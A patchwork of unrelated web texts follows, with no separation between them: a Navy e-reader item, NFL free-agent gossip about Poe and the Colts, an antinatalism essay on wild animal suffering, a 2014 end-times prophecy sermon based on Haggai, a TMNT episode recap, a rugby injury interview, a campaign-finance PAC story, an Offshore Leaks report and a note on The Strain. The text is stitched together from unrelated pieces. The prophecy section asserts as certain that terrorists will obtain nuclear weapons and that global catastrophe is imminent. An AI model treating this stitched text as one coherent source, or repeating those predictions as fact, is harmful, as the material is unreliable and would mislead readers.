However, there are also popular classics such as The Lord of the Rings and Game of Thrones.
Storage restrictions, particularly in submarines, have meant keeping a well-stocked library in the Navy can sometimes prove challenging.
The NeRD is the brainchild of the US Navy General Library Program in partnership with Findaway World.
When a player visits a team and then leaves without a deal, that’s not a good sign regarding that team’s chances of signing said player. So since Poe left the Colts without a contract in place, the assumption is that he won’t be signing with Indianapolis. But a report by the Indianapolis Star’s Stephen Holder this afternoon suggests we shouldn’t quite make that assumption yet, as Holder wrote that, “a league source indicated the situation is fluid and the Colts are still in the mix to sign Poe.”
It appears the Colts want Poe and made a push to sign him today, so because of that it probably wouldn’t be too wise for Poe to rule them out just yet. It’s likely that the Colts and Poe’s camp have disagreement about the value of the contract, and that could cause Poe to look elsewhere. But he could potentially use the offers he finds elsewhere to negotiate further with the Colts (or perhaps they’re still negotiating), meaning that the hope of Poe signing with them isn’t dead yet - and that’s what Holder’s report seems to confirm. The Colts are still in the mix.
Update 2018-03-10: I have pretty much reversed my opinion on this due to Jan Brauner’s comment below and Lukas Gloor’s Cause prioritization for downside-focused value systems, which makes this article obsolete. I previously had no opinion on the likelihood of earth-originating space colonization. Now it seems close to inevitable to me conditional on us not first entering some singleton state or going extinct (which, at least in combination, seem even more likely to me). Therefore antinatalism may be a way – though we can hopefully find more tractable ones – of preventing an exacerbation of wild animal suffering per space colonization.
Different people with different moral preferences see different reasons for antinatalism. One of them is that humans cause suffering in the world, so that the world would be better off without them.
Surely, humans cause suffering, but whether we cause more suffering than we prevent is an open question. But even if our existence is currently net negative, we need to take a more long-term perspective.
Just from a quick glance at some timelines of the evolution of life like the above, and from the Wikipedia article on the “history of the world,” it looks like the first proto-insects emerged over 500 million years ago, while humans emerged only some 200,000 years ago (already a difference of a factor of over 1,000 – like, for me in Berlin, the difference between going to a supermarket and going to Brussels), and our civilization probably only emerged some 15,000 years ago.
Jonathan Haidt, an evolutionary moral psychologist, proposed the theory that it was human morality that has enabled our civilization to form, at least alongside many other developments, because it enabled us to trust each other to a point and thus to cooperate and trade. Whatever it may be, it has made ours the dominant species on the planet and has conferred on us many luxuries. Before humans had trade with distant regions, we were dependent on weather conditions, and when conditions were untoward, mass starvation ran rampant. There was no housing for a long time, and no heating, apart from caves and fires with their noxious smoke. Evolution took its due every winter, making sure that only those who performed best on its arbitrary rules of survival got to see another summer. And there was no medicine to defend us against parasites and diseases. Many of the forms of suffering of the poorest in developing countries were pervasive everywhere. These humans were not bound by the laws of states and society, but they didn’t gain much from this freedom since they had to fight for their survival day by day. I could not imagine living in such conditions, and I probably wouldn’t make it for long either.
We’re not the dominant species in numbers. There are some 7 billion humans but several hundred billion birds, up to a trillion mammals in general, up to a hundred trillion reptiles and amphibians, up to a quadrillion fish, several quintillion insects/spiders/et al. – differences up to a factor of 1 billion to the human population. Many of these have been around for a thousand times longer than humans, and most of them show learning behavior in that they try to avoid harmful stimuli, indicating that they’re at least somewhat likely to be capable of suffering.
And everything that I just described about the conditions under which precivilization humans had to live is true of them too – all the starvation, freezing, being eaten alive by parasites, dying from diseases, predation, etc. and all of it already for over half a billion years.
It has taken evolution half a billion years to get from probably sentient macroscopic beings to human civilization, so in all likelihood, no other species will manage to get there for another half a billion years or much longer. (We have no way to tell how unlikely it may’ve been that a species as intelligent has ours emerged at all.) That is how long, at least, all nonhuman animals will be destined to continue lives so dominated by suffering if we don’t do anything about it.
So far it’s unclear whether human civilization has had a positive or negative influence on this ongoing catastrophe. Perhaps it is negative. But our civilization has conferred tremendous power to us, a single species, and one that you, reader, and I happen to be a part of – what are the odds! It has also been nothing but a blip compared to the history of sentient life.
If we now decide that our track record has been bad and we should discontinue our species, we’re just shifting the responsibility for helping everyone else on this planet to some future generation maybe half a billion years of suffering into the future, and that civilization will probably face just as many problems with expanding their compassion to other species as we do today.
Islamic terrorists have conquered a large part of Iraq and Syria. These are surely the worst terrorists on Earth. They are killing men, women and children, and committing horrible atrocities against people of different religions. Nations throughout the Middle East are shaken, and nations around the world are horrified by what these terrorist monsters are doing. We have never seen anything so demoniacal as the nightmares the “Islamic State” is unleashing.
As serious as this situation is, however, it is just one of many terrible crises hammering the world right now.
The Jewish nation in the Middle East has been in a war with Palestinian Hamas terrorists in Gaza. Hamas terrorists have been shooting powerful missiles from Gaza’s cities while hiding in schools, hospitals and residential areas. “Look at the danger that we face when they have rockets and missiles,” Israeli Prime Minister Benjamin Netanyahu said on August 7. “Now imagine what kind of danger we’d have if they can put a nuclear warhead on top ofthese missiles” (emphasis mine throughout). Look at the actions and the character of these Palestinian terrorists, and you know exactly what they would do if they obtained nuclear weapons—unless some power were to stop them.
In time, these nuclear weapons will get into the hands of Hamas terrorists. With the world’s attention diverted elsewhere, Iran is racing forward with building nuclear weapons. The Iranian government is the number one state sponsor of terrorism in the world. Do you think the mullahs would give nuclear weapons to terrorists? I do. Somehow the terrorists will get those weapons. That makes this situation extremely important to all of us.
Look elsewhere throughout that region—in Libya, in Syria, in Egypt, in Pakistan—and you see instability increasing. Elsewhere in the world are still more serious crises. In Ukraine, Russian President Vladimir Putin is waging an outright war, taking over territory, even threatening nuclear war! Ebola is spreading in Africa. Tensions are growing between China and Japan. And the United States is experiencing multiple dangerous crises, including race riots, rampant illegal immigration that most certainly includes criminals and terrorists, crushing drought, a sluggish economy, and multiple political scandals.
Bolton talked about this chaos just weeks ago. But did you know that your Bible talked about it millennia ago?
The
world is descending
into chaos
Former Ambassador to the United Nations John Bolton said, “.” This isn’t merely some fringe opinion. Observers everywhere are deeply concerned.
Mr. Bolton is right, and this is a chaos like this world has never experienced before!
Bolton talked about this chaos just weeks ago. But did you know that your Bible talked about it millennia ago? This chaos we are experiencing in 2014 was prophesied in the Bible!
We have been prophesying about this crisis of crises for 70 years. That is because the Bible foretells, in quite a lot of detail, the great carnage that would come upon the Earth in this very end time.
Shaking the Nations
The book of Haggai contains a number of forecasts about the future that God gave to a prophet. Haggai 2:23 dates this book to a certain time period: “in that day.” “In that day” always refers to what Numbers, Deuteronomy, Jeremiah, Ezekiel, Daniel and Hosea call “the latter days.” That is a time far beyond when Haggai lived—in fact, it is the time we live in now! You can prove that by putting together what this and other prophecies say and comparing them to what is happening in the world.
Notice especially what God says in verse 7: “And I will shake all nations ….” This is global. This has never happened before. This is in the end time, and it is happening to all nations. Even now, many are shaking—and all of them should be.
This verse could read, “The world is descending into chaos”—because God says He will shake all nations! God prophesiedthis turmoil wouldhappen.
Why would God shake all nations? He is clearly heavily involved in what is happening, and for a specific reason. He is shaking—but He isn’t wiping out the planet altogether. Why? Because of the end result it will produce.
Notice what will come as a result of God shaking all nations: “And I will shake all nations, and the desireof all nations shallcome: and I will fill this house with glory, saith the Lord of hosts” (verse 7). The God of love wants to give the nations what they desire: peace, prosperity, joy and happiness. And He will! However, they must first be corrected. And God is doing that, just like a loving father does for his children.
Right now God is shaking the nations. God is doing this out of love! The nations need strong correction. He will shake us to our very foundations, and even destroy our foundations, because He wants to save us and turn us from our self-destructive ways, and turn us toward our loving Father. That is what will result from Him shaking all nations!
God has to shake the nations first—before He can give them what they desire. They desire peace. They desire prosperity. They desire for everyone to have exciting, wonderful lives. God is going to give that to them. But He has to shake them to their senses first.
This prophesied shaking is coming to pass right now, and it will conclude with the fulfillment of the most amazing prophecy in the Bible.
This world is about to be filled with light! God is about to illuminate this world with all of the brilliant beauty and love you can ever imagine.
‘It Could Happen Again’
Recent news reports show just how much the nations are shaking. And when you compare these events to the Bible, you can see that they correlate exactly with what God prophesied. Reporters can see it happening. That is startling, and it ought to shake all of us.
In Atlantic magazine, Roger Cohen wrote a July 29 article titled, “Yes, It Could Happen Again,” with the quip, “Instability in Ukraine, chaos in Syria, conflict in the East China Sea—the trigger points for WorldWar iii are in place.”
Regarding President Putin gobbling up parts of Ukraine, Cohen wrote, “[A] major power has forcefully changed a European border for the first time since 1945,” when World War ii ended. Meanwhile, terrorists are conquering every inch of territory they can possibly get in the Middle East and elsewhere.
The Telegraph, one of the best newspapers in the world, published an article on August 1 titled, “Today’s parallels with 1914 are veryworrying.” Speaking of the serious conflicts raging in Gaza, Syria, Ukraine, Iraq and even China, it reported, “All this might not matter so much if it were against the backdrop of a generally stable world economy. But very few would describe it as such. Pregnant with record amounts of debt—emerging markets are now piling it on with the same reckless abandon as the West—and highly reliant on the steroids of artificial monetary support, financial markets have rarely looked more vulnerable to unexpectedshocks.”
We are about to see a lot of shocks. That is what the shaking of nations is all about! Our economies are so weak and indebted that they won’t be able to withstand these shocks.
“I don’t want to over-egg the point,” author Jeremy Warner continued, “but the parallels with the calm before the storm of 100 years ago are impossible to ignore.” He then described 1914, the year World War i broke out. Here we are 100 years later, and we have the same situation—but with far more terrible weapons.
There are also many parallels between the present and the time leading up to the Second World War. The period before World War ii witnessed unparalleled international travel—ambassadors of peace were flying everywhere, trying to keep their nations from descending into the Second World War. Their failure is a matter of history. In the worldwide catastrophe that followed, over 60 million people were murdered.
Today, U.S. Secretary of State John Kerry and countless other diplomats are flying all over the world trying to deal with the multiplying crises. I’m sure these leaders are sincere in trying to bring world peace, but according to Bible prophecy, their efforts are all going to fail. We are about to experience another worldwide catastrophe, and God will see to it that His plan is implemented in the process.
Thankfully, in the end we will have peace like they can’t even imagine—but it will not come the way they think it will.
The Ambassadors of Peace
The July 30 Wall Street Journal published “Winds of War,Again.” This article said, “In 1938, British Prime Minister Neville Chamberlain, not unlike John Kerry today, shuttled tirelessly between London and wherever Adolf Hitler consented to meet him to discuss a non-violent solution to Hitler’s intention to annex the Sudetenland, the part of Czechoslovakia inhabited by ethnic Germans. Hitler earlier in the year had annexed Austria, with nary a peep from the world ‘community.’”
Chamberlain was racing all over Europe trying to appease Hitler, giving him chunks of territory without him having to fire a shot! The attitude was, Let’s not voice criticism; let’s keep quiet about Hitler’s takeovers. Maybe that way we can have peace. But that attitude made war certain!
Britain and its allies were so weak! And Chamberlain and others virtually forced Czechoslovakia to give up the Sudetenland to the Germans. Even the Sudetenland’s inhabitants didn’t want to join Germany, but these nations handed Hitler their sovereignty and forced them to.
Chamberlain signed off on that in Munich, Germany, and came home with a little document that he waved in the air, declaring “Peace in our time!” The people who saw him wave that piece of paper were almost hysterical with happiness. They really believed they were going to have peace.
Less than a year later, Hitler invaded Poland, and World War ii started.
And, as the Bible prophesied, the ambassadors of peace began to weep bitterly (Isaiah 33:7).
Winston Churchill warned for years that they would not have peace, but virtually every newspaper proclaimed there would be peace, and every Briton seemed to believe that. The papers lauded Prime Minister Chamberlain for his brilliant efforts—but there was no peace. Why? Because of what Hitler believed. He believed in conquering, and he was determined to have war from the very beginning. Many will not accept the fact that people think this way. But people have thought like Hitler throughout history! Evil men have killed masses of people—especially the appeasers—time and time again.
We have been prophesying about the rise of these evil men and these destructive trends for 70 years. Now it is happening—in a horrifying way. How were we—and Herbert W. Armstrong before us—able to prophesy this situation? Because God revealed it in the Bible. U.S. race riots; economic disaster; even fires, droughts and floods are all discussed in detail in prophecies like Amos 4 and dozens of others.
‘Consider Your Ways’
Here is what Ambrose Evans-Pritchard wrote July 25 in the Telegraph:“In the 30 years or so that I have been writing about world affairs and the international economy, I have never seen a more dangerous confluence of circumstances, or more remarkable complacency.” This esteemed analyst sayshe has never seen the world in such crisis—and never seen people so unconcerned! What a perilous situation we are living in!
Notice Haggai 1:3-4: “Then came the word of the Lord by Haggai the prophet, saying, Is it time for you, O ye, to dwell in your cieled [luxurious] houses, and this house lie waste?” Is it time for self-luxury as God’s work is neglected? Or is it a time to be sobered and shaken by God as never before?
“Now therefore thus saith the Lord of hosts; Consideryour ways” (verse 5).
God tells us to consider our ways. Consider how much you concern yourself over acquiring luxurious goods and other personal things. Consider how little you are concerned about God’s house and the work of getting His message to the world.
In the 30 years or so that I have been writing about world affairs and the international economy, I have never seen a more dangerous confluence of circumstances, or more remarkable complacency. Ambrose Evans-Pritchard
i
ii
Most people are too glutted on selfishness to even notice the dire situation we are in and how it mirrors the prelude to World Warand World War. But even for those who do see the danger—who are racing around the world trying to create peace—who among them talks about God? Who says anything about looking to His house and serving Him? Even the ambassadors of peace are just trying to use human reasoning and pressure to stabilize things so everyone can get back to luxuriating inside their ceiled houses.
Where is God in this world crisis? Where is His will, His wisdom, His input, His reason? Man is trying to solve his own problems and telling God, Just stay out of it! We’ll take care of it ourselves! But human beings can’t solve these conflicts. After millennia of war and two world wars in the past century, that ought to be obvious to anybody!
Our entrenched problems and conflicts are of such great magnitude that only our Creator can solve them. But we leave God out of the picture. So He tells us, Consider the way you’re living. The Hebrew in Haggai 1:5 means to set your heart on your ways. God is telling you to ask yourself, Am I really thinking the way God wants me to? Or are all my efforts just directed toward myself?
God is shaking the nations! And He is just starting. Conditions are going to get a hundredfold worse.
Notice: God repeats this to drive it home to us: “Ye have sown much, and bring in little; ye eat, but ye have not enough; ye drink, but ye are not filled with drink; ye clothe you, but there is none warm; and he that earneth wages earneth wages to put it into a bag with holes. Thus saith the Lord of hosts; Consider your ways” (verses 6-7). God is reasoning with people who are focused on themselves and their possessions—people who are working harder and harder yet have less and less. He points out to us: You’re not being blessed. We’re not receiving prosperity and peace and happy marriages and families. Yet all of those are blessings God wants to give us! So why are we not experiencing those blessings? God says, Consider your ways. You’re not living the way that causes these things you desire! Consider your ways!
God wants to give these blessings to us—to the whole world. And the Bible promises He will do it—within the next few years! Can God just take us as we are—selfish, evil, godless, ungrateful, greedy, violent—and pour all these blessings on us? Or does He need to shake us and correct us first?
Correction
“Ye looked for much, and, lo, it came to little; and when ye brought it home, I did blow upon it. Why? saith the Lord of hosts. Because of mine house that is waste, and ye run every man unto his own house” (Haggai 1:9).
What does that mean? God’s “house” is His work of proclaiming His message of warning and repentance and hope. That message ought to be going out to the world with power! But the people God is addressing are not concerned about that! God says, You are concerned about your house and your work, your ideas, your thoughts.
And when you try to acquire more for yourself, you are just putting those earnings into a sack with holes. That way of life never works out.
“Because of mine house that is waste, and ye run every man unto his own house. Therefore the heaven over you is stayed from dew, and the earth is stayed from her fruit. And I called for a drought upon the land, and upon the mountains, and upon the corn, and upon the new wine, and upon the oil, and upon that which the ground bringeth forth, and upon men, and upon cattle, and upon all the labour of the hands” (verses 9-11). God called for a drought upon the land. Do you think God wouldn’t do that? Do you think God’s job is to only send blessings of wealth and peace, and to never send you the blessing of punishment and correction?
God is going to get our attention one way or the other, and if we are so stubborn that He has to use deep horror to do it, He will. In fact, He has already prophesied it. God is shaking us out of our selfish little empire!
Another Way
But there are some few people on Earth who have a totally different lifestyle. God discusses them too. Haggai 1:12 describes more about Haggai’s end-time prophecy: “Then Zerubbabel the son of Shealtiel, and Joshua the son of Josedech, the high priest, with all the remnant of the people, obeyed the voice of the Lord their God, and the words of Haggai the prophet, as the Lord their God had sent him, and the people did fear before the Lord.”
These people do something different: They fear God. And look what happens to their lives: They are blessed at every turn. God wants to give the rest of the world such blessings, and He will! That is what this is all about—that is why the nations are being shaken! God is going to insist that they have these blessings and have their desires for peace and joy filled.
“Then spake Haggai the Lord’s messenger in the Lord’s message unto the people, saying, I am with you, saith the Lord” (verse 13). I, God, am with you! That is why you’re being blessed! I am with you! He is not with those in the nations who need to be shaken from rank selfishness and rebellion and sin. They don’t want God with them! They want to build their own empires, not God’s. But they still want Him to give them rain and crops and peace and safety—and then to stay out of their business.
This tiny minority is not that way, and God says: “I am with you.” “And the Lord stirred up the spirit of Zerubbabel the son of Shealtiel, governor of Judah, and the spirit of Joshua the son of Josedech, the high priest, and the spirit of all the remnant of the people; and they came and did work in the house of the Lord of hosts, their God” (verse 14). That effort just prospered and prospered and prospered. That is amazing.
Jeremiah 8 tells a similar story. It shows how God is going to bring His judgment upon our peoples because, as verse 9 says, “they have rejected the word of the Lord.” Verse 11 describes how people are going around “saying, Peace, peace;when there isno peace.” They want so desperately to believe that they can solve the world’s problems—but those false hopes are going to explode in their faces!
Isaiah 59:8 says, “The way of peace they know not”! This world’s ambassadors, diplomats, presidents and prime ministers don’t know the way of peace! Soon the chaos that this world is descending into will grow so fierce that they will have to acknowledge that truth!
Michelangelo is being his usual self, and starts fooling around with Donatello’s laboratory. Fortunately, Donnie arrives before he can do any serious damage, but Mikey does manage to mix a drop of some insane concoction with the retro-mutagen, setting off a chemical reaction. But this is no ordinary reaction; it supercharges the retro-mutagen, making one drop so potent it can turn an entire vial of mutagen into retro-mutagen.
Though he doesn’t remember quite how it was made, Mikey’s gift is still going to use, and the turtles decide it’s time to break into Dimension X and save NYC. To help them, Donnie has a new invention, but first the boys have to stop the Kraang from mutating two innocent people. They’re able to take down a few of the aliens, but soon find themselves surrounded. Fortunately, help has arrived as Leatherhead, Dr. Rockwell, Pigeon Pete, and Slash step in to save the boys. Together, they four mutants have formed the Mighty Mutanimals, and they take the turtles back to their lair to meet their benefactor, Jack Kurtzman. Kurtzman explains what the Kraang are up to, including building a mutagen missile that will change the entire world. Everyone will have to work together to stop this threat, but they can’t seem to agree on anything.
While the teams bicker, the Kraang arrive at the hideout and in then ensuing battle Kurtzman is shot. Everyone retreats to the new lair, and the two teams finally realize they have to work together to make things happen. Unfortunately, the truce doesn’t last long, and the Mutanimals leave while Donatello unveils his previous invention for aerial attacks: The Turtle Blimp. Both teams arrive at the launch site, and the Mighty Mutanimals find themselves dealing with Kraang Sub-Prime. Meanwhile, the turtles drop in from above and Donnie gets inside the missile, but flying Kraang show up to ruin things.
Kraang Sub-Prime manages to fight off the Mutanimals and launch the missile, but Donatello puts all his brainpower to good use and reroutes it to the sun. The turtles escape the falling missile and glide back to Earth. With the two teams now working together, all eight mutants begin the siege of T.C.R.I. With the Mutanimals blitzing the building, the turtles enter the portal and head to Dimension X. However, the turtles lose their blimp as they find the mutated humans working as slaves.
Back on Earth, the Mutanimals are having trouble with the Kraang, and Slash is forced to choose between keeping the portal open and saving his team. Trapped in Dimension X, the turtles have to find a massive amount of mutagen to save all the people. Stealing a stealth ship to sneak on board a Technodrome, the turtles are intercepted by the Kraang’s new Draco-droid and crash onto the Technodrome. Once inside, the boys make quick work of the Kraang and commandeer the Technodrome. Meanwhile, the Mutanimals are able to escape captivity, and try to reengage the portal.
With the portal open and the retro-mutagen loaded, the plan heads into the final phase. Raphael unleashes the retro-mutagen, transforming everyone back into humans and teleporting them out of harm’s way. However, Kraang Sub-Prime has other plans for the boys, and while the others save the rest of the humans Leonardo holds off the enemy. With all the humans safe, Dr. Rockwell teleports the turtles back to the city and sends the Kraang back to Dimension X. NYC is back to normal, and the turtles now have a new team of friends to call on whenever they need help.
This episode seems long overdue this season, and probably would have fit better several episodes ago. When the turtles returned to NYC, there certainly was a lot that needed to be done, but perhaps not everything that happened in the interim was necessary. Seeing Bebop and Rocksteady was great, and dealing with Karai was okay, but this rescue mission should have been more pressing. Karai would have still been around after they were done, and Steranko and Zeck could be transformed later. A common thread for all three seasons so far has been trying to do too much all at the same time. If the show can spend six episodes with the turtles in a cabin in the woods without ever revealing what’s happening in the city, then it can also deal with the Kraang before handling Shredder, or seeing Karai’s story told to its actual end before getting back to the Kraang (not to mention that since the Kraang have been M.I.A. for a while now, the fact that such an important episode was happening seems a bit misplaced).
Now, that’s not to say that this episode was bad, by any means. It was a fantastic story and accomplished so much. Seeing the Mighty Mutanimals back in action was phenomenal; finally these mutations are paying dividends in the story. Not to mention that Irma/Kraang Sub-Prime, Dimension X Mikey, and T.C.R.I. all made return appearances. Seeing these characters/aspects return like this validates everything that has happened with the Kraang, and brought some sort of closure to the plotline thus far. It was fantastic to see it handled as a two-part episode, too (unlike “Return to New York,” which could have been made better with a second part).
The season has finally reached its midpoint, and like seasons past, there’s no telling where it will go from here. The major plot points seem to be resolved, so what could that mean for the rest of this season and beyond? Only time will tell, but certainly the battle for New York has only just begun.
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Ulster's Chris Henry is confident he can still make his World Cup dream a reality despite having heart surgery just last month.
After suffering what was described as an "episode" on the morning of the November Test with South Africa, a hole in the organ was discovered and subsequently operated on.
Having already defied expectations by returning to the Ulster gym quicker than expected, however, the Malone man is determined to beat the odds again and remind Joe Schmidt what he is capable of in time for next year's showpiece tournament.
While the Six Nations will come too soon, Henry believes that the quartet of warm-up games confirmed yesterday are a realistic target.
Ireland will play Wales twice, as well as England and Scotland, next summer, and Henry said: "For me, those four warm-up games hopefully will give me a bit of breathing space and I should get some game time.
"I'll just want to show that I'm back and fully fit and playing at my best.
"I don't know about having credit in the bank, Joe is not really that kind of guy. I know it will be whoever is playing the best at that moment so I'll need to show what I can do.
"I won't be trying to live on what I've done in the past."
While admitting that to miss out on a first World Cup appearance would be a big blow, recent months have given the fan favourite a new perception of what is important.
He continued: "If the World Cup is beyond my reach then I would be devastated, but this whole incident does give you perspective.
"There was a stage when I thought I would have to hang up my boots and, for me, I have to suck it up and realise that my body is only going to be ready when it's ready.
"I'll get over it, you have to, and come back again. I'm only 30-years-old, I don't think my best rugby is behind me."
Before thinking about pulling on the green of Ireland of course, Henry will be back playing for his province and he remains enthusiastic about aiding the PRO12 campaign in its latter stages.
"With the way things have gone in Europe for us, there's a massive focus now on the league and I would like to think that there's maybe six weeks of this season where I can contribute."
For now, the process of rehabilitation is required to be slow and steady with the 16-times capped openside able to run for the first time this week.
"It's very simple at the minute, I'll do maybe half an hour on the bicycle and 45 minutes on the cross-trainer.
"I did my first light running on Monday, and in my mind the hardest part is to taper back and not to push too hard.
"It's been a surreal few weeks so I'm still trying to get my head around everything that's gone on but I feel great.
"Watching the games is tough, but just being around the team, trying to help anyone else, hopefully I can contribute that way. I want the guys to realise that just because this has happened to me I'm not going to disappear.
"You don't just need 15 players you need everyone in the extended group to be doing their bit."
Pleased to be back amongst his team-mates, Henry also made special mention of the fans who have given their support.
"The Scarlets game was the first home game I've been able to get to since the incident happened and it really was amazing," he said.
"Everyone was coming up to you to see how you are and just showing real concern. It's lovely and I feel really lucky.
"It's really re-emphasised how amazing the rugby community is in this province."
Ever willing to see the positives, Henry will slow things down over the festive period as he is afforded the rare chance of a regular Christmas.
"It'll be the first normal Christmas week I've had in seven years so I'm going to look at it that way.
"I'm going to eat my Christmas dinner and not worry about whether I'll be able to run the next day.
"We'll hopefully get away for a short holiday in the New Year and then I'll be seeing the specialist in the middle of January.
"I'll get the review off him and hopefully be able to start stepping it up after that."
After the month he's had, nobody will begrudge him the chance to put his feet up until then.
Ilyse Hogue, a former top official at MoveOn and Media Matters, along with David Donnelly, the Executive Director of the Public Campaign Action Fund, will file paperwork with the FEC on Monday to formally create an entity called Friends of Democracy.
A hybrid PAC and super PAC, Friends of Democracy will have the power to make contributions to federal candidates (with a $5,000 limit) and raise unlimited sums of money from individuals and corporations. But it will do it all with the aim of demonstrating the need for campaign finance reform.
"The truth is we want to preserve options and use every tool possible to make sure that money and politics remains an issue in the campaign, and that we have the option of creating political accountability around it," said Hogue.
"Most people can see that money in politics in this election is out of control," Donnelly said. "More than 80 percent of Americans want some sensible limits on the way money flows in politics. We felt there needed to be more champions for reform and that opponents of reform needed to be defeated."
Neither Donnelly nor Hogue would discuss how much money Friends of Democracy has on hand, likely because the push to recruit donors will ramp up as the July deadline for reporting contributions approaches. But the purpose of the hybrid PAC is not to match other entities dollar for dollar. To date, super PACs have spent more than $94 million on independent expenditures, according to data from the Sunlight Foundation. The largest portion of that has come from Restore Our Future, former Massachusetts Gov. Mitt Romney's allied super PAC, which has spent $42 million.
Rather, Friends of Democracy will use its more limited resources to shame the biggest donors and their major recipients, among other objectives. Within the confines of the often-staid campaign finance world, Donnelly is considered one of the more aggressive political tacticians. Hogue, meanwhile, has direct experience working on grassroots oriented and social-media focused campaigns targeting special interests, including a successful effort against the retail giant Target for making a $150,000 donation to a group backing an anti-gay rights gubernatorial candidate in Minnesota.
"There are perverse incentives for candidates to step out [in favor of campaign finance reform]," Hogue explained. "We want to make sure there is a political cost associated with opposing reform and accountability."
The online portal, called the Offshore Leaks Database, contains hundreds of thousands of records showing corporations set up in so-called "tax-haven" countries, gleaned from the contents of about 2.5 million emails and financial documents that ICIJ said it received in early 2012. Over the past year, the data have been used by journalists around the world to detail alleged tax evasion by billionaires, oligarchs, emirs, princes and multinational corporations on nearly every continent.
Publication of the documents may heighten scrutiny of some of the world's largest financial institutions and their clients. Governments worldwide have renewed efforts to stamp out tax avoidance as fiscal authorities, including those from Europe and the United States, confront record budget deficits and slow-growth economies.
Click here to search the Offshore Leaks Database.
A 2012 report by the Tax Justice Network (TJN) found that untaxed wealth invested in offshore tax havens ran between $28 and $32 trillion, equal to two years’ worth of U.S. economic output. The report estimated that if the money were to have been invested in home countries, even at low rates of return, it could have generated hundreds of billions of dollars per year in tax revenue.
The TJN report also described the secrecy enveloping the world of offshore tax havens as a "subterranean system that … is the economic equivalent of an astrophysical black hole."
The new ICIJ OffShore Leaks Database provides a small window into that world for the public to peruse. The database contains documents covering 30 years from the British Virgin Islands, Cayman Islands, Cook Islands, Singapore, Hong Kong, Samoa, Seychelles, Mauritius, Labuan and Malaysia. According to ICIJ, the information came from a leak of documents from two offshore service companies, Singapore-based Portcullis TrustNet and British Virgin Islands-based Commonwealth Trust Limited (CTL).
The documents have been used to unearth stories, starting in April 2013, about tax evasion by politicians in Canada, France, Malaysia, Mongolia, Pakistan and the Philippines; how offshore companies are used to hide the foreign investors in London's real estate market; the use of tax havens to buy and sell on the fine art market; the involvement of companies like Deutsche Bank to help create offshore entities; arms trading in war zones; and how the world's ultra-rich hide their money from taxation.
In making the database freely available, ICIJ hopes to engage the public in its ongoing work to expose the use of offshore tax havens by international corporations and wealthy individuals. Readers are encouraged to contact journalists if they come across promising leads.
Tax havens are nations that offer favorable tax treatment to assets held within their boundaries, often offering zero or near-zero tax rates with very few questions asked. Bermuda, the British Virgin Islands, Dubai and the micro-state of Jersey, off the coast of England, are just a few of the countries that host corporate entities and trusts created by the world's wealthy and powerful to shield their money from taxes in their home-country.
While the transactions listed in the database likely are legal in countries considered to be tax havens, use of offshore accounts by a corporation or individual often is decried as tax evasion in home countries, regardless of the circumstances.
In some cases, authorities have targeted offshore accounts when accusing banks of facilitating illegal tax evasion.
UBS, Switzerland’s largest bank, in 2009 avoided criminal prosecution by entering into a deferred-prosecution agreement and paying $780 million to settle allegations it defrauded the U.S. government. The bank admitted it participated in a scheme to defraud the federal government by "actively assisting or otherwise facilitating" tax evasion by Americans from 2000 to 2007.
Peter Kurer, then-chairman of UBS, said at the time: "UBS sincerely regrets the compliance failures in its U.S. cross-border business that have been identified by the various government investigations in Switzerland and the U.S., as well as our own internal review. We accept full responsibility for these improper activities."
Thousands of wealthy U.S. customers eventually turned themselves in. The Swiss government also turned over the identities of U.S. account holders to U.S. officials.
In 2010, Deutsche Bank, Germany’s largest lender, agreed to pay $554 million to U.S. authorities to settle criminal accusations that it helped create fraudulent tax shelters for clients from 1996 to 2002 that deprived the U.S. Treasury of revenue. The bank admitted wrongdoing and entered into a non-prosecution agreement.
At the time, the bank said it was “pleased that this investigation, which concerned transactions that ceased more than eight years ago, has come to a resolution.”
“Since 2002, the bank has significantly strengthened its policies and procedures as part of an ongoing effort to ensure strict adherence to the law and the highest standards of ethical conduct,” it added.
In response to growing allegations of evasion, the U.S. in 2010 enacted the Foreign Account Tax Compliance Act (FATCA) to enlist financial institutions in the government’s fight to recoup lost tax revenues.
FATCA forces foreign banks to report information on overseas accounts held by U.S. individuals and businesses, and foreign corporations in which U.S. taxpayers hold a substantial ownership stake.
Other nations are now following suit. The eight leading industrialized nations that comprise the Group of Eight (G8) are due to discuss efforts to combat tax dodging at their coming meeting June 17-18 in Northern Ireland.
“The upcoming G8 summit is poised to deliver a hammer blow to offshore corporate tax avoidance," Sen. Carl Levin (D-Mich.) said.
“The G8 summit should take advantage of the emerging international consensus that we can no longer allow profitable multinational corporations to play one country off another, ducking corporate taxes and leaving other taxpayers to pick up the slack,” he added.
Banks that structure and facilitate offshore corporate entities designed to minimize tax payments may feel the brunt of the pressure.
A review by The Huffington Post of the ICIJ database, which comprises only a portion of the total data trove in the leak, revealed that UBS was linked to more than 3,000 offshore accounts. It allegedly served as a "master client” -- defined by the ICIJ as "an intermediary or go-between who helps a client set up an offshore entity” -- or as a "nominee shareholder," a shareholder who is not the real owner or beneficiary of the corporation.
The bank declined to comment.
The database shows Deutsche Bank linked to more than 1,000 offshore accounts. A spokesman declined to comment.
Though not all of the offshore accounts listed in the database are currently active -- many are listed as defunct or dissolved -- the data covers three decades of offshore accounts, potentially providing tax authorities with a road map to discover tax cheats.
A slew of ICIJ-inspired reporting in April had dramatic effects.
Herbert Stepic, Raiffeisen Bank International chief executive, resigned his post after news reports alleged he had numerous offshore accounts.
A month later, police in South Korea raided the home of business titan Lee Jay-Hyun, CJ Group chairman and a billionaire grandson of Samsung founder Lee Byung-Chul, as part of a tax evasion probe.
The revelations unearthed by ICIJ and journalists around the world also prompted stern responses from a number of European leaders, and in some cases helped lead to calls for changes in laws to promote banking transparency and prevent tax evasion.
In May, British Prime Minister David Cameron said at a White House press conference that “we need to know who really owns a company, who profits from it, whether taxes are paid.”
Algirdas Šemeta, the European commissioner for taxation, said: “Recent developments, fueled by the outcome of the Offshore Leaks, confirms the urgency for more and better action against tax evasion."
Šemeta further called for European nations operating as tax havens, including Luxembourg and Monaco, as well as protectorates controlled by European countries like the British Virgin Islands, to adopt the European Union's standard of banking transparency.
After Šemeta's statements, Luxembourg announced that it would end secret banking for investments by European nationals. Britain's overseas territories also announced that they would begin sharing banking information with the United Kingdom, France, Germany, Italy and Spain.
If you were as big a fan of the opening moments as we were, you’ll be happy to know that we’ll be getting another sequence from Del Toro during Episode 2.04.
According to Deadline during “The Strain’s” Comic-Con panel today, del Toro explained that for tonight’s segment he drew inspiration from an ancient, Eastern European tale from his Nanny, “who use to tell [him] the scariest [bedtime] stories at night.”
